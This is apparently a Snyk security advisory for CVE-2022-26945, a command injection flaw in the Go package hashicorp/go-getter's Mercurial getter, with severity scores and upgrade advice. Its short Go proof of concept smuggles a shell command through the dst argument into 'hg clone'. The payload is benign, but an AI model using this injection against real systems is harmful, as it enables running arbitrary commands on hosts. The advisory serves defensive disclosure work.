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Command Injection Affecting github.com/hashicorp/go-getter package, versions <1.6.1 >=2.0.0 <2.1.0

0.0
high

Snyk CVSS

    Attack Complexity High
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.23% (61st percentile)
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NVD
9.8 critical

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  • Snyk ID SNYK-GOLANG-GITHUBCOMHASHICORPGOGETTER-2421223
  • published 25 May 2022
  • disclosed 11 Mar 2022
  • credit Alessio Della Libera of Snyk Research Team
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Introduced: 11 Mar 2022

CVE-2022-26945 Open this link in a new tab
CWE-78 Open this link in a new tab
First added by Snyk

How to fix?

Upgrade github.com/hashicorp/go-getter to version 1.6.1, 2.1.0 or higher.

Overview

github.com/hashicorp/go-getter is a Package for downloading things from a string URL using a variety of protocols.

Affected versions of this package are vulnerable to Command Injection via hg argument injection. When calling the new(gogetter.HgGetter).get() function, the dst parameter is passed to the hg clone command in a way that additional flags can be set. The additional flags can be used to perform a command injection.

PoC 

package main

import (
    gogetter "github.com/hashicorp/go-getter"
    "net/url"
)

func main(){
    g := new(gogetter.HgGetter)
    
    rawURL := "someurl"

    u, _ := url.Parse(rawURL)

    dst := "--config=alias.clone=!touch ./HELLO"
    g.Get(dst, u)

}